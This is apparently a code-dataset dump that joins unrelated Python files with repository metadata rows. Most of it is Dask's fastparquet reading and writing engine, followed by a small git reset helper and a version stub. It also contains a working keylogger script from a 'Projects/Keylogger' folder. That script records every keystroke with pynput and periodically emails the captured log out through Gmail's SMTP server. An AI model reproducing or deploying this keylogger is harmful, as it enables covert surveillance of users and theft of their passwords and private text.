for r in rg:
rgs.append(r)
else:
rgs.append(rg)
_meta.row_groups = rgs
fn = fs.sep.join([path, "_metadata"])
fastparquet.writer.write_common_metadata(
fn, _meta, open_with=fs.open, no_row_groups=False
)
# if appending, could skip this, but would need to check existence
fn = fs.sep.join([path, "_common_metadata"])
fastparquet.writer.write_common_metadata(fn, _meta, open_with=fs.open)
| 36.597372 | 96 | 0.51665 | import copy
import pickle
import threading
import warnings
from collections import OrderedDict, defaultdict
from contextlib import ExitStack
import numpy as np
import pandas as pd
import tlz as toolz
from packaging.version import parse as parse_version
from dask.core import flatten
try:
import fastparquet
from fastparquet import ParquetFile
from fastparquet.util import ex_from_sep, get_file_scheme, groupby_types, val_to_num
from fastparquet.writer import make_part_file, partition_on_columns
except ImportError:
pass
from dask.base import tokenize
heme):
if file_scheme in ["simple", "flat", "other"]:
cats = {}
return cats
cats = OrderedDict()
raw_cats = OrderedDict()
s = ex_from_sep("/")
paths = toolz.unique(paths)
if file_scheme == "hive":
partitions = toolz.unique((k, v) for path in paths for k, v in s.findall(path))
for key, val in partitions:
cats.setdefault(key, set()).add(val_to_num(val))
raw_cats.setdefault(key, set()).add(val)
else:
i_val = toolz.unique(
(i, val) for path in paths for i, val in enumerate(path.split("/")[:-1])
)
for i, val in i_val:
key = "dir%i" % i
cats.setdefault(key, set()).add(val_to_num(val))
raw_cats.setdefault(key, set()).add(val)
for key, v in cats.items():
raw = raw_cats[key]
if len(v) != len(raw):
conflicts_by_value = OrderedDict()
for raw_val in raw_cats[key]:
conflicts_by_value.setdefault(val_to_num(raw_val), set()).add(raw_val)
conflicts = [
c for k in conflicts_by_value.values() if len(k) > 1 for c in k
]
raise ValueError("Partition names map to the same value: %s" % conflicts)
vals_by_type = groupby_types(v)
if len(vals_by_type) > 1:
examples = [x[0] for x in vals_by_type.values()]
warnings.warn(
"Partition names coerce to values of different types, e.g. %s"
% examples
)
cats = OrderedDict([(key, list(v)) for key, v in cats.items()])
return cats
paths_to_cats = (
_paths_to_cats
)
class FastParquetEngine(Engine):
@classmethod
def _organize_row_groups(
cls,
pf,
split_row_groups,
gather_statistics,
stat_col_indices,
filters,
dtypes,
base_path,
has_metadata_file,
chunksize,
aggregation_depth,
):
pqpartitions = list(pf.cats)
if (
pqpartitions
and aggregation_depth
and pf.row_groups
and pf.row_groups[0].columns[0].file_path
):
pf.row_groups = sorted(
pf.row_groups,
key=lambda x: natural_sort_key(x.columns[0].file_path),
)
pandas_type = {}
if pf.row_groups and pf.pandas_metadata:
for c in pf.pandas_metadata.get("columns", []):
if "field_name" in c:
pandas_type[c["field_name"]] = c.get("pandas_type", None)
single_rg_parts = int(split_row_groups) == 1
file_row_groups = defaultdict(list)
file_row_group_stats = defaultdict(list)
file_row_group_column_stats = defaultdict(list)
cmax_last = {}
for rg, row_group in enumerate(pf.row_groups):
if (
pqpartitions
and filters
and fastparquet.api.filter_out_cats(row_group, filters)
):
continue
fp = row_group.columns[0].file_path
fpath = fp.decode() if isinstance(fp, bytes) else fp
if fpath is None:
if not has_metadata_file:
# row group is in the same file as the metadata.
# Assume this is a single-file dataset.
fpath = pf.fn
base_path = base_path or ""
else:
raise ValueError(
"Global metadata structure is missing a file_path string. "
"If the dataset includes a _metadata file, that file may "
"have one or more missing file_path fields."
)
# Append a tuple to file_row_groups. This tuple will
# be structured as: `(<local-row-group-id>, <global-row-group-id>)`
if file_row_groups[fpath]:
file_row_groups[fpath].append((file_row_groups[fpath][-1][0] + 1, rg))
else:
file_row_groups[fpath].append((0, rg))
if gather_statistics:
if single_rg_parts:
s = {
"file_path_0": fpath,
"num-rows": row_group.num_rows,
"total_byte_size": row_group.total_byte_size,
"columns": [],
}
else:
s = {
"num-rows": row_group.num_rows,
"total_byte_size": row_group.total_byte_size,
}
cstats = []
for name, i in stat_col_indices.items():
column = row_group.columns[i]
if column.meta_data.statistics:
cmin = None
cmax = None
# TODO: Avoid use of `pf.statistics`
if pf.statistics["min"][name][0] is not None:
cmin = pf.statistics["min"][name][rg]
cmax = pf.statistics["max"][name][rg]
elif dtypes[name] == "object":
cmin = column.meta_data.statistics.min_value
cmax = column.meta_data.statistics.max_value
# Older versions may not have cmin/cmax_value
if cmin is None:
cmin = column.meta_data.statistics.min
if cmax is None:
cmax = column.meta_data.statistics.max
# Decode bytes as long as "bytes" is not the
# expected `pandas_type` for this column
if (
isinstance(cmin, (bytes, bytearray))
and pandas_type.get(name, None) != "bytes"
):
cmin = cmin.decode("utf-8")
cmax = cmax.decode("utf-8")
if isinstance(cmin, np.datetime64):
tz = getattr(dtypes[name], "tz", None)
cmin = pd.Timestamp(cmin, tz=tz)
cmax = pd.Timestamp(cmax, tz=tz)
last = cmax_last.get(name, None)
if not (filters or chunksize or aggregation_depth):
# Only think about bailing if we don't need
if cmin is None or (last and cmin < last):
# we have an all-null partition, so lets bail.
#
# Note: This assumes ascending order.
#
gather_statistics = False
file_row_group_stats = {}
file_row_group_column_stats = {}
break
if single_rg_parts:
s["columns"].append(
{
"name": name,
"min": cmin,
"max": cmax,
}
)
else:
cstats += [cmin, cmax]
cmax_last[name] = cmax
else:
if (
not (filters or chunksize or aggregation_depth)
and column.meta_data.num_values > 0
):
# We are collecting statistics for divisions
# only (no filters) - Lets bail.
gather_statistics = False
file_row_group_stats = {}
file_row_group_column_stats = {}
break
if single_rg_parts:
s["columns"].append({"name": name})
else:
cstats += [None, None, None]
if gather_statistics:
file_row_group_stats[fpath].append(s)
if not single_rg_parts:
file_row_group_column_stats[fpath].append(tuple(cstats))
return (
file_row_groups,
file_row_group_stats,
file_row_group_column_stats,
gather_statistics,
base_path,
)
@classmethod
def _get_thrift_row_groups(
cls,
pf,
filename,
row_groups,
):
real_row_groups = []
for rg, rg_global in row_groups:
row_group = pf.row_groups[rg_global]
columns = row_group.columns
for c, col in enumerate(columns):
if c:
col.file_path = None
md = col.meta_data
md.key_value_metadata = None
# NOTE: Fastparquet may need the null count in the
# statistics, so we cannot just set statistics
# to none. Set attributes separately:
st = md.statistics
if st:
st.distinct_count = None
st.max = None
st.min = None
st.max_value = None
st.min_value = None
md.encodings = None
md.total_uncompressed_size = None
md.encoding_stats = None
row_group.columns = columns
real_row_groups.append(row_group)
return real_row_groups
@classmethod
def _make_part(
cls,
filename,
rg_list,
fs=None,
pf=None,
base_path=None,
partitions=None,
):
if partitions:
real_row_groups = cls._get_thrift_row_groups(
pf,
filename,
rg_list,
)
part = {"piece": (real_row_groups,)}
else:
# Get full path (empty strings should be ignored)
full_path = fs.sep.join([p for p in [base_path, filename] if p != ""])
row_groups = [rg[0] for rg in rg_list] # Don't need global IDs
part = {"piece": (full_path, row_groups)}
return part
@classmethod
def _collect_dataset_info(
cls,
paths,
fs,
categories,
index,
gather_statistics,
filters,
split_row_groups,
chunksize,
aggregate_files,
ignore_metadata_file,
metadata_task_size,
parquet_file_extension,
kwargs,
):
dataset_kwargs, read_kwargs, user_kwargs = _split_user_options(**kwargs)
parts = []
_metadata_exists = False
if len(paths) == 1 and fs.isdir(paths[0]):
base = paths[0]
_metadata_exists = True
if not ignore_metadata_file:
_metadata_exists = fs.isfile(fs.sep.join([base, "_metadata"]))
if ignore_metadata_file or not _metadata_exists:
paths, base, fns = _sort_and_analyze_paths(fs.find(base), fs)
_update_paths = False
for fn in ["_metadata", "_common_metadata"]:
try:
fns.remove(fn)
_update_paths = True
except ValueError:
pass
if _update_paths:
paths = [fs.sep.join([base, fn]) for fn in fns]
_metadata_exists = False
if _metadata_exists:
pf = ParquetFile(
fs.sep.join([base, "_metadata"]),
open_with=fs.open,
**dataset_kwargs,
)
else:
if parquet_file_extension:
len0 = len(paths)
paths = [
path for path in paths if path.endswith(parquet_file_extension)
]
if len0 and paths == []:
raise ValueError(
"No files satisfy the `parquet_file_extension` criteria "
f"(files must end with {parquet_file_extension})."
)
pf = ParquetFile(
paths[:1], open_with=fs.open, root=base, **dataset_kwargs
)
scheme = get_file_scheme(fns)
pf.file_scheme = scheme
pf.cats = paths_to_cats(fns, scheme)
if not gather_statistics:
parts = [fs.sep.join([base, fn]) for fn in fns]
else:
paths, base, fns = _sort_and_analyze_paths(paths, fs)
_metadata_exists = "_metadata" in fns
if _metadata_exists and ignore_metadata_file:
fns.remove("_metadata")
_metadata_exists = False
paths = [fs.sep.join([base, fn]) for fn in fns]
if _metadata_exists:
pf = ParquetFile(
fs.sep.join([base, "_metadata"]),
open_with=fs.open,
**dataset_kwargs,
)
else:
scheme = get_file_scheme(fns)
pf = ParquetFile(
paths[:1], open_with=fs.open, root=base, **dataset_kwargs
)
pf.file_scheme = scheme
pf.cats = paths_to_cats(fns, scheme)
if not gather_statistics:
parts = paths.copy()
aggregation_depth = _get_aggregation_depth(
aggregate_files,
list(pf.cats),
)
if pf.cats:
_partitions = [p for p in pf.cats if p not in pf.columns]
if not _partitions:
pf.cats = {}
elif len(_partitions) != len(pf.cats):
raise ValueError(
"No partition-columns should be written in the \n"
"file unless they are ALL written in the file.\n"
"columns: {} | partitions: {}".format(pf.columns, pf.cats.keys())
)
return {
"pf": pf,
"paths": paths,
"has_metadata_file": _metadata_exists,
"parts": parts,
"base": base,
"fs": fs,
"gather_statistics": gather_statistics,
"categories": categories,
"index": index,
"filters": filters,
"split_row_groups": split_row_groups,
"chunksize": chunksize,
"aggregate_files": aggregate_files,
"aggregation_depth": aggregation_depth,
"metadata_task_size": metadata_task_size,
"kwargs": {
"dataset": dataset_kwargs,
"read": read_kwargs,
**user_kwargs,
},
}
@classmethod
def _create_dd_meta(cls, dataset_info):
pf = dataset_info["pf"]
index = dataset_info["index"]
categories = dataset_info["categories"]
columns = None
pandas_md = pf.pandas_metadata
if pandas_md:
(
index_names,
column_names,
storage_name_mapping,
column_index_names,
) = _parse_pandas_metadata(pandas_md)
column_names.extend(pf.cats)
else:
index_names = []
column_names = pf.columns + list(pf.cats)
storage_name_mapping = {k: k for k in column_names}
column_index_names = [None]
if index is None and len(index_names) > 0:
if len(index_names) == 1 and index_names[0] is not None:
index = index_names[0]
else:
index = index_names
column_names, index_names = _normalize_index_columns(
columns, column_names, index, index_names
)
all_columns = index_names + column_names
categories_dict = None
if isinstance(categories, dict):
categories_dict = categories
if categories is None:
categories = pf.categories
elif isinstance(categories, str):
categories = [categories]
else:
categories = list(categories)
if categories and not set(categories).intersection(all_columns):
raise ValueError(
"categories not in available columns.\n"
"categories: {} | columns: {}".format(categories, list(all_columns))
)
dtypes = pf._dtypes(categories)
dtypes = {storage_name_mapping.get(k, k): v for k, v in dtypes.items()}
index_cols = index or ()
if isinstance(index_cols, str):
index_cols = [index_cols]
for ind in index_cols:
if getattr(dtypes.get(ind), "numpy_dtype", None):
dtypes[ind] = dtypes[ind].numpy_dtype
for cat in categories:
if cat in all_columns:
dtypes[cat] = pd.CategoricalDtype(categories=[UNKNOWN_CATEGORIES])
for catcol in pf.cats:
if catcol in all_columns:
dtypes[catcol] = pd.CategoricalDtype(categories=pf.cats[catcol])
meta = _meta_from_dtypes(all_columns, dtypes, index_cols, column_index_names)
dataset_info["dtypes"] = dtypes
dataset_info["index"] = index
dataset_info["index_cols"] = index_cols
dataset_info["categories"] = categories
dataset_info["categories_dict"] = categories_dict
return meta
@classmethod
def _construct_collection_plan(cls, dataset_info):
fs = dataset_info["fs"]
parts = dataset_info["parts"]
paths = dataset_info["paths"]
filters = dataset_info["filters"]
pf = dataset_info["pf"]
split_row_groups = dataset_info["split_row_groups"]
chunksize = dataset_info["chunksize"]
gather_statistics = dataset_info["gather_statistics"]
base_path = dataset_info["base"]
aggregation_depth = dataset_info["aggregation_depth"]
index_cols = dataset_info["index_cols"]
categories = dataset_info["categories"]
dtypes = dataset_info["dtypes"]
categories_dict = dataset_info["categories_dict"]
has_metadata_file = dataset_info["has_metadata_file"]
metadata_task_size = dataset_info["metadata_task_size"]
kwargs = dataset_info["kwargs"]
metadata_task_size = _set_metadata_task_size(
dataset_info["metadata_task_size"], fs
)
filter_columns = {t[0] for t in flatten(filters or [], container=list)}
stat_col_indices = {}
_index_cols = index_cols if (gather_statistics and len(index_cols) == 1) else []
for i, name in enumerate(pf.columns):
if name in _index_cols or name in filter_columns:
stat_col_indices[name] = i
gather_statistics = _set_gather_statistics(
gather_statistics,
chunksize,
split_row_groups,
aggregation_depth,
filter_columns,
set(stat_col_indices) | filter_columns,
)
common_kwargs = {
"categories": categories_dict or categories,
"root_cats": pf.cats,
"root_file_scheme": pf.file_scheme,
"base_path": base_path,
**kwargs,
}
if (
gather_statistics is False
and not split_row_groups
and isinstance(parts, list)
and len(parts)
and isinstance(parts[0], str)
):
return (
[{"piece": (full_path, None)} for full_path in parts],
[],
common_kwargs,
)
dataset_info_kwargs = {
"fs": fs,
"split_row_groups": split_row_groups,
"gather_statistics": gather_statistics,
"filters": filters,
"dtypes": dtypes,
"stat_col_indices": stat_col_indices,
"aggregation_depth": aggregation_depth,
"chunksize": chunksize,
"root_cats": pf.cats,
"root_file_scheme": pf.file_scheme,
"base_path": "" if base_path is None else base_path,
"has_metadata_file": has_metadata_file,
}
if (
has_metadata_file
or metadata_task_size == 0
or metadata_task_size > len(paths)
):
pf_or_paths = pf if has_metadata_file else paths
parts, stats = cls._collect_file_parts(pf_or_paths, dataset_info_kwargs)
else:
# We should loop over files in parallel
parts, stats = [], []
if paths:
# Build and compute a task graph to construct stats/parts
gather_parts_dsk = {}
name = "gather-pq-parts-" + tokenize(paths, dataset_info_kwargs)
finalize_list = []
for task_i, file_i in enumerate(
range(0, len(paths), metadata_task_size)
):
finalize_list.append((name, task_i))
gather_parts_dsk[finalize_list[-1]] = (
cls._collect_file_parts,
paths[file_i : file_i + metadata_task_size],
dataset_info_kwargs,
)
def _combine_parts(parts_and_stats):
parts, stats = [], []
for part, stat in parts_and_stats:
parts += part
if stat:
stats += stat
return parts, stats
gather_parts_dsk["final-" + name] = (_combine_parts, finalize_list)
parts, stats = Delayed("final-" + name, gather_parts_dsk).compute()
return parts, stats, common_kwargs
@classmethod
def _collect_file_parts(
cls,
pf_or_files,
dataset_info_kwargs,
):
# Collect necessary information from dataset_info
fs = dataset_info_kwargs["fs"]
split_row_groups = dataset_info_kwargs["split_row_groups"]
gather_statistics = dataset_info_kwargs["gather_statistics"]
stat_col_indices = dataset_info_kwargs["stat_col_indices"]
filters = dataset_info_kwargs["filters"]
dtypes = dataset_info_kwargs["dtypes"]
chunksize = dataset_info_kwargs["chunksize"]
aggregation_depth = dataset_info_kwargs["aggregation_depth"]
base_path = dataset_info_kwargs.get("base_path", None)
root_cats = dataset_info_kwargs.get("root_cats", None)
root_file_scheme = dataset_info_kwargs.get("root_file_scheme", None)
has_metadata_file = dataset_info_kwargs["has_metadata_file"]
# Get ParquetFile
if not isinstance(pf_or_files, fastparquet.api.ParquetFile):
# Construct local `ParquetFile` object
pf = ParquetFile(
pf_or_files,
open_with=fs.open,
root=base_path,
)
# Update hive-partitioning to match global cats/scheme
pf.cats = root_cats or {}
if root_cats:
pf.file_scheme = root_file_scheme
else:
# We already have a ParquetFile object to work with
pf = pf_or_files
# Organize row-groups by file
(
file_row_groups,
file_row_group_stats,
file_row_group_column_stats,
gather_statistics,
base_path,
) = cls._organize_row_groups(
pf,
split_row_groups,
gather_statistics,
stat_col_indices,
filters,
dtypes,
base_path,
has_metadata_file,
chunksize,
aggregation_depth,
)
# Convert organized row-groups to parts
parts, stats = _row_groups_to_parts(
gather_statistics,
split_row_groups,
aggregation_depth,
file_row_groups,
file_row_group_stats,
file_row_group_column_stats,
stat_col_indices,
cls._make_part,
make_part_kwargs={
"fs": fs,
"pf": pf,
"base_path": base_path,
"partitions": list(pf.cats),
},
)
return parts, stats
@classmethod
def read_metadata(
cls,
fs,
paths,
categories=None,
index=None,
gather_statistics=None,
filters=None,
split_row_groups=False,
chunksize=None,
aggregate_files=None,
ignore_metadata_file=False,
metadata_task_size=None,
parquet_file_extension=None,
**kwargs,
):
# Stage 1: Collect general dataset information
dataset_info = cls._collect_dataset_info(
paths,
fs,
categories,
index,
gather_statistics,
filters,
split_row_groups,
chunksize,
aggregate_files,
ignore_metadata_file,
metadata_task_size,
parquet_file_extension,
kwargs,
)
# Stage 2: Generate output `meta`
meta = cls._create_dd_meta(dataset_info)
# Stage 3: Generate parts and stats
parts, stats, common_kwargs = cls._construct_collection_plan(dataset_info)
# Cannot allow `None` in columns if the user has specified index=False
index = dataset_info["index"]
if index is False and None in meta.columns:
meta.drop(columns=[None], inplace=True)
# Add `common_kwargs` to the first element of `parts`.
# We can return as a separate element in the future, but
# should avoid breaking the API for now.
if len(parts):
parts[0]["common_kwargs"] = common_kwargs
parts[0]["aggregation_depth"] = dataset_info["aggregation_depth"]
if len(parts) and len(parts[0]["piece"]) == 1:
# Strip all partition-dependent or unnecessary
# data from the `ParquetFile` object
pf = dataset_info["pf"]
pf.row_groups = None
pf.fmd.row_groups = None
pf._statistics = None
parts[0]["common_kwargs"]["parquet_file"] = pf
return (meta, stats, parts, index)
@classmethod
def multi_support(cls):
return cls == FastParquetEngine
@classmethod
def read_partition(
cls,
fs,
pieces,
columns,
index,
categories=(),
root_cats=None,
root_file_scheme=None,
base_path=None,
**kwargs,
):
null_index_name = False
base_path = False if not root_cats else base_path
if isinstance(index, list):
if index == [None]:
# Handling a None-labeled index...
# The pandas metadata told us to read in an index
# labeled `None`. If this corresponds to a `RangeIndex`,
# fastparquet will need use the pandas metadata to
# construct the index. Otherwise, the index will correspond
# to a column named "__index_level_0__". We will need to
# check the `ParquetFile` object for this column below.
index = []
null_index_name = True
columns += index
# Use global `parquet_file` object. Need to reattach
# the desired row_group
parquet_file = kwargs.pop("parquet_file", None)
# Always convert pieces to list
if not isinstance(pieces, list):
pieces = [pieces]
sample = pieces[0]
if isinstance(sample, tuple):
if isinstance(sample[0], str):
# We have paths to read from
assert parquet_file is None
row_groups = []
rg_offset = 0
parquet_file = ParquetFile(
[p[0] for p in pieces],
open_with=fs.open,
root=base_path or False,
**kwargs.get("dataset", {}),
)
for piece in pieces:
_pf = (
parquet_file
if len(pieces) == 1
else ParquetFile(
piece[0],
open_with=fs.open,
root=base_path or False,
**kwargs.get("dataset", {}),
)
)
n_local_row_groups = len(_pf.row_groups)
local_rg_indices = piece[1] or list(range(n_local_row_groups))
row_groups += [
parquet_file.row_groups[rg + rg_offset]
for rg in local_rg_indices
]
rg_offset += n_local_row_groups
update_parquet_file = len(row_groups) < len(parquet_file.row_groups)
elif parquet_file:
row_groups = []
for piece in pieces:
# `piece[1]` will contain actual row-group objects,
# but they may be pickled
rgs = piece[0]
if isinstance(rgs, bytes):
rgs = pickle.loads(rgs)
row_groups += rgs
update_parquet_file = True
else:
raise ValueError("Neither path nor ParquetFile detected!")
if update_parquet_file:
with _FP_FILE_LOCK:
for rg in row_groups:
for chunk in rg.columns:
s = chunk.file_path
if s and isinstance(s, bytes):
chunk.file_path = s.decode()
parquet_file.fmd.row_groups = row_groups
# NOTE: May lose cats after `_set_attrs` call
save_cats = parquet_file.cats
parquet_file._set_attrs()
parquet_file.cats = save_cats
if null_index_name:
if "__index_level_0__" in parquet_file.columns:
# See "Handling a None-labeled index" comment above
index = ["__index_level_0__"]
columns += index
# Update hive-partitioning information if necessary
parquet_file.cats = root_cats or {}
if root_cats:
parquet_file.file_scheme = root_file_scheme
parquet_file._dtypes = (
lambda *args: parquet_file.dtypes
) # ugly patch, could be fixed
# Convert ParquetFile to pandas
return cls.pf_to_pandas(
parquet_file,
fs=fs,
columns=columns,
categories=categories,
index=index,
**kwargs.get("read", {}),
)
else:
# `sample` is NOT a tuple
raise ValueError(f"Expected tuple, got {type(sample)}")
@classmethod
def pf_to_pandas(
cls,
pf,
fs=None,
columns=None,
categories=None,
index=None,
open_file_options=None,
**kwargs,
):
# This method was mostly copied from the fastparquet
# `ParquetFile.to_pandas` definition. We maintain our
# own implmentation in Dask to enable better remote
# file-handling control
# Handle selected columns
if columns is not None:
columns = columns[:]
else:
columns = pf.columns + list(pf.cats)
if index:
columns += [i for i in index if i not in columns]
# Extract row-groups and pre-allocate df
rgs = pf.row_groups
size = sum(rg.num_rows for rg in rgs)
df, views = pf.pre_allocate(size, columns, categories, index)
start = 0
# Get a map of file names -> row-groups
fn_rg_map = defaultdict(list)
for rg in rgs:
fn = pf.row_group_filename(rg)
fn_rg_map[fn].append(rg)
# Define file-opening options
precache_options, open_file_options = _process_open_file_options(
open_file_options,
**(
{
"allow_precache": False,
"default_cache": "readahead",
}
if _is_local_fs(fs)
else {
"metadata": pf,
"columns": list(set(columns).intersection(pf.columns)),
"row_groups": [rgs for rgs in fn_rg_map.values()],
"default_engine": "fastparquet",
"default_cache": "readahead",
}
),
)
with ExitStack() as stack:
for fn, infile in zip(
fn_rg_map.keys(),
_open_input_files(
list(fn_rg_map.keys()),
fs=fs,
context_stack=stack,
precache_options=precache_options,
**open_file_options,
),
):
for rg in fn_rg_map[fn]:
thislen = rg.num_rows
parts = {
name: (
v
if name.endswith("-catdef")
else v[start : start + thislen]
)
for (name, v) in views.items()
}
# Add row-group data to df
pf.read_row_group_file(
rg,
columns,
categories,
index,
assign=parts,
partition_meta=pf.partition_meta,
infile=infile,
**kwargs,
)
start += thislen
return df
@classmethod
def initialize_write(
cls,
df,
fs,
path,
append=False,
partition_on=None,
ignore_divisions=False,
division_info=None,
schema=None,
object_encoding="utf8",
index_cols=None,
custom_metadata=None,
**kwargs,
):
if index_cols is None:
index_cols = []
if append and division_info is None:
ignore_divisions = True
fs.mkdirs(path, exist_ok=True)
if object_encoding == "infer" or (
isinstance(object_encoding, dict) and "infer" in object_encoding.values()
):
raise ValueError(
'"infer" not allowed as object encoding, '
"because this required data in memory."
)
metadata_file_exists = False
if append:
try:
# to append to a dataset without _metadata, need to load
# _common_metadata or any data file here
pf = fastparquet.api.ParquetFile(path, open_with=fs.open)
metadata_file_exists = fs.exists(fs.sep.join([path, "_metadata"]))
except (OSError, ValueError):
# append for create
append = False
if append:
if pf.file_scheme not in ["hive", "empty", "flat"]:
raise ValueError(
"Requested file scheme is hive, but existing file scheme is not."
)
elif (set(pf.columns) != set(df.columns) - set(partition_on)) or (
set(partition_on) != set(pf.cats)
):
raise ValueError(
"Appended columns not the same.\n"
"Previous: {} | New: {}".format(pf.columns, list(df.columns))
)
elif (pd.Series(pf.dtypes).loc[pf.columns] != df[pf.columns].dtypes).any():
raise ValueError(
"Appended dtypes differ.\n{}".format(
set(pf.dtypes.items()) ^ set(df.dtypes.items())
)
)
else:
df = df[pf.columns + partition_on]
fmd = pf.fmd
i_offset = fastparquet.writer.find_max_part(fmd.row_groups)
if not ignore_divisions:
if not set(index_cols).intersection([division_info["name"]]):
ignore_divisions = True
if not ignore_divisions:
minmax = fastparquet.api.sorted_partitioned_columns(pf)
# If fastparquet detects that a partitioned column isn't sorted, it won't
# appear in the resulting min/max dictionary
old_end = (
minmax[index_cols[0]]["max"][-1]
if index_cols[0] in minmax
else None
)
divisions = division_info["divisions"]
if old_end is None or divisions[0] <= old_end:
raise ValueError(
"Appended divisions overlapping with previous ones."
"\n"
"Previous: {} | New: {}".format(old_end, divisions[0])
)
else:
fmd = fastparquet.writer.make_metadata(
df._meta,
object_encoding=object_encoding,
index_cols=index_cols,
ignore_columns=partition_on,
**kwargs,
)
i_offset = 0
if custom_metadata is not None:
kvm = fmd.key_value_metadata or []
kvm.extend(
[
fastparquet.parquet_thrift.KeyValue(key=key, value=value)
for key, value in custom_metadata.items()
]
)
fmd.key_value_metadata = kvm
extra_write_kwargs = {"fmd": fmd}
return i_offset, fmd, metadata_file_exists, extra_write_kwargs
@classmethod
def write_partition(
cls,
df,
path,
fs,
filename,
partition_on,
return_metadata,
fmd=None,
compression=None,
custom_metadata=None,
**kwargs,
):
# Update key/value metadata if necessary
fmd = copy.copy(fmd)
for s in fmd.schema:
if isinstance(s.name, bytes):
# can be coerced to bytes on copy
s.name = s.name.decode()
if custom_metadata and fmd is not None:
fmd.key_value_metadata = fmd.key_value_metadata + (
[
fastparquet.parquet_thrift.KeyValue(key=key, value=value)
for key, value in custom_metadata.items()
]
)
if not len(df):
# Write nothing for empty partitions
rgs = []
elif partition_on:
mkdirs = lambda x: fs.mkdirs(x, exist_ok=True)
if parse_version(fastparquet.__version__) >= parse_version("0.1.4"):
rgs = partition_on_columns(
df, partition_on, path, filename, fmd, compression, fs.open, mkdirs
)
else:
rgs = partition_on_columns(
df,
partition_on,
path,
filename,
fmd,
fs.sep,
compression,
fs.open,
mkdirs,
)
else:
with fs.open(fs.sep.join([path, filename]), "wb") as fil:
fmd.num_rows = len(df)
rg = make_part_file(
fil, df, fmd.schema, compression=compression, fmd=fmd
)
for chunk in rg.columns:
chunk.file_path = filename
rgs = [rg]
if return_metadata:
return rgs
else:
return []
@classmethod
def write_metadata(cls, parts, meta, fs, path, append=False, **kwargs):
_meta = copy.copy(meta)
rgs = meta.row_groups
if parts:
for rg in parts:
if rg is not None:
if isinstance(rg, list):
for r in rg:
rgs.append(r)
else:
rgs.append(rg)
_meta.row_groups = rgs
fn = fs.sep.join([path, "_metadata"])
fastparquet.writer.write_common_metadata(
fn, _meta, open_with=fs.open, no_row_groups=False
)
# if appending, could skip this, but would need to check existence
fn = fs.sep.join([path, "_common_metadata"])
fastparquet.writer.write_common_metadata(fn, _meta, open_with=fs.open)
| true | true |
f725f3882774f4a3c357d3b4d5807560a3f511c3 | 1,457 | py | Python | Projects/Keylogger/key.py | eshaananand/HACKTOBERFEST_2021 | e868968e104639307ae18c7cac842c4a092674fb | [
"MIT"
] | null | null | null | Projects/Keylogger/key.py | eshaananand/HACKTOBERFEST_2021 | e868968e104639307ae18c7cac842c4a092674fb | [
"MIT"
] | null | null | null | Projects/Keylogger/key.py | eshaananand/HACKTOBERFEST_2021 | e868968e104639307ae18c7cac842c4a092674fb | [
"MIT"
] | 9 | 2020-10-15T08:15:01.000Z | 2020-10-19T15:04:26.000Z | # -*- coding: utf-8 -*-
"""
Created on Fri Oct 18 00:20:49 2019
@author: Asus
"""
import pynput.keyboard
import threading
import smtplib
class Keylogger:
def __init__(self,time_interval ,email ,password):
self.log ="keylogger started"
self.interval = time_interval
self.email=email
self.password=password
def append_to_log(self,string):
self.log =self.log +string
def process_key_press(self,key):
try:
current_key=str(key.char)
except AttributeError:
if key== key.space:
current_key=" "
elif key == key.backspace :
current_key="*"
elif key == key.enter :
current_key="/"
else:
current_key=" " +str(key)+" "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email,self.password, "\n\n" + self.log)
self.log=""
timer=threading.Timer(self.interval,self.report)
timer.start()
def send_mail(self,email,password,message):
server=smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
def start(self):
keyboard_listener=pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join() | 31 | 83 | 0.597804 |
import pynput.keyboard
import threading
import smtplib
class Keylogger:
def __init__(self,time_interval ,email ,password):
self.log ="keylogger started"
self.interval = time_interval
self.email=email
self.password=password
def append_to_log(self,string):
self.log =self.log +string
def process_key_press(self,key):
try:
current_key=str(key.char)
except AttributeError:
if key== key.space:
current_key=" "
elif key == key.backspace :
current_key="*"
elif key == key.enter :
current_key="/"
else:
current_key=" " +str(key)+" "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email,self.password, "\n\n" + self.log)
self.log=""
timer=threading.Timer(self.interval,self.report)
timer.start()
def send_mail(self,email,password,message):
server=smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
def start(self):
keyboard_listener=pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join() | true | true |
f725f3d9875d4e6eb82a0011123cb41d1bfeac57 | 149 | py | Python | stograde/student/reset.py | babatana/stograde | c1c447e99c44c23cef9dd857e669861f3708ae77 | [
"MIT"
] | 7 | 2016-08-05T00:41:11.000Z | 2019-08-22T11:12:10.000Z | stograde/student/reset.py | babatana/stograde | c1c447e99c44c23cef9dd857e669861f3708ae77 | [
"MIT"
] | 145 | 2016-08-04T01:07:11.000Z | 2019-09-09T22:07:13.000Z | stograde/student/reset.py | babatana/stograde | c1c447e99c44c23cef9dd857e669861f3708ae77 | [
"MIT"
] | 3 | 2017-02-06T21:52:46.000Z | 2019-02-18T10:35:01.000Z | from ..common import chdir, run
def reset(student: str):
with chdir(student):
run(['git', 'checkout', 'master', '--quiet', '--force'])
| 21.285714 | 64 | 0.590604 | from ..common import chdir, run
def reset(student: str):
with chdir(student):
run(['git', 'checkout', 'master', '--quiet', '--force'])
| true | true |
f725f4ccae39d255e7f8a1319af3c13ec1833d91 | 71 | py | Python | nca47/version.py | WosunOO/nca_xianshu | bbb548cb67b755a57528796d4c5a66ee68df2678 | [
"Apache-2.0"
] | null | null | null | nca47/version.py | WosunOO/nca_xianshu | bbb548cb67b755a57528796d4c5a66ee68df2678 | [
"Apache-2.0"
] | null | null | null | nca47/version.py | WosunOO/nca_xianshu | bbb548cb67b755a57528796d4c5a66ee68df2678 | [
"Apache-2.0"
] | null | null | null | import pbr.version
version_info = pbr.version.VersionInfo('nca47')
| 17.75 | 48 | 0.760563 | import pbr.version
version_info = pbr.version.VersionInfo('nca47')
| true | true |
f725f4dae2e4c5953b2e2ca2570972ac74936c24 | 22,958 | py | Python | lisa/cli/cli.py | Wang-Cankun/lisa2 | 2407cc3c12f43bf41f0e14b2a8a5fcdfe07ff310 | [
"MIT"
] | 17 | 2020-09-21T20:04:43.000Z | 2022-01-15T11:25:41.000Z | lisa/cli/cli.py | Wang-Cankun/lisa2 | 2407cc3c12f43bf41f0e14b2a8a5fcdfe07ff310 | [
"MIT"
